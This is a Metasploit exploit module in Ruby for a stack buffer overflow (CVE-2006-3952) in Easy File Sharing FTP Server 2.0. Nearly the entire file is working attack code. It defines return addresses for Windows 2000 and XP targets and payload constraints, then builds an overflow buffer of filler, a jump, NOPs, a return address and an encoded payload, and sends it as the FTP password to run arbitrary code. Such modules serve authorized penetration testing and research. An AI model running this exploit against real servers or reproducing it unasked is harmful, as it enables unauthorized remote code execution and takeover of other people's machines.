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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in the Easy File Sharing 2.0
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        service. By sending an overly long password, an attacker can execute
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        arbitrary code.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2006-3952' ],
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          [ 'OSVDB', '27646' ],
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          [ 'BID', '19243' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
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          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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        ],
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      'DisclosureDate' => '2006-07-31',
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      'DefaultTarget'  => 0))
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /Easy File Sharing FTP Server/)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    filler =  rand_text_english(2559) + "\xeb\x12"
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    filler << make_nops(2) + [target.ret].pack('V')
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    sploit = "\x2c" + filler + payload.encoded
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    print_status("Trying target #{target.name}...")
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    # needs anonymous to be set.
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    send_cmd(['USER', "anonymous"], true)
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    send_cmd(['PASS', sploit], false)
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    handler
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    disconnect
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  end
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end
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